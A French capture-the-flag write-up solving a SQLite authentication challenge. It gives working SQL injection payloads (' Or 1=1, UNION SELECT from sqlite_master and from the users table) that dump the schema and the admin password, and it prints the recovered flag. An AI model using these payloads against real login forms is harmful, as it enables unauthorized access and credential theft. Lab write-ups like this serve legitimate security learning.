Aller au contenu

SQL injection Authentification 1

Samuel MANECHEZ 21/10/2021 SQL injection - Authentification Lien du CFT

1. Trouver le point d'injection

J'ai pu trouver le point d'injection en testant des injections sql dans le formulaire de cette manière :' Or 1=1

2. Identifier le type de base de données

L'entrée précédante nous renvoie une erreur avec le type de base SQL.

Warning: SQLite3::query(): Unable to prepare statement: 1, near "' and password='' Or 1=1'": syntax error in /challenge/web-serveur/ch9/index.php on line 38
near "' and password='' Or 1=1'": syntax error

Nous obtenous le type de la base : SQLite3 .

3. Déterminer le nombre de colonnes de la requête de l'application

Pour tenter extraire la struture de la base nous pouvons essayer cette commande :

' Union Select 1,sql FROM sqlite_master--

Ainsi nous obtenons la strucutre et le nombre de colonnes : 2.

4. Si nécessaire déterminer les types des colonnes

Dans le champ password nous obtenons le format de la table user ainsi que le nombre de colonnes :

<input type="password" value="CREATE TABLE users(username TEXT, password TEXT, Year INTEGER)" disabled="">

5. Exploiter la faille en fonction de l'objectif de l'attaque

Pour obtenir le flag nous pouvons y arriver de deux manières : ' Or 1=1 limit 1 offset 1 -- ou ' Union Select username,password from users--

Ces commandes renvoie le mot de passe admin dans le champ password. Il ne reste plus que le récupérer via le HTML :

<input type="password" value="t0_W34k!$" disabled="">

Le flag est : t0_W34k!$.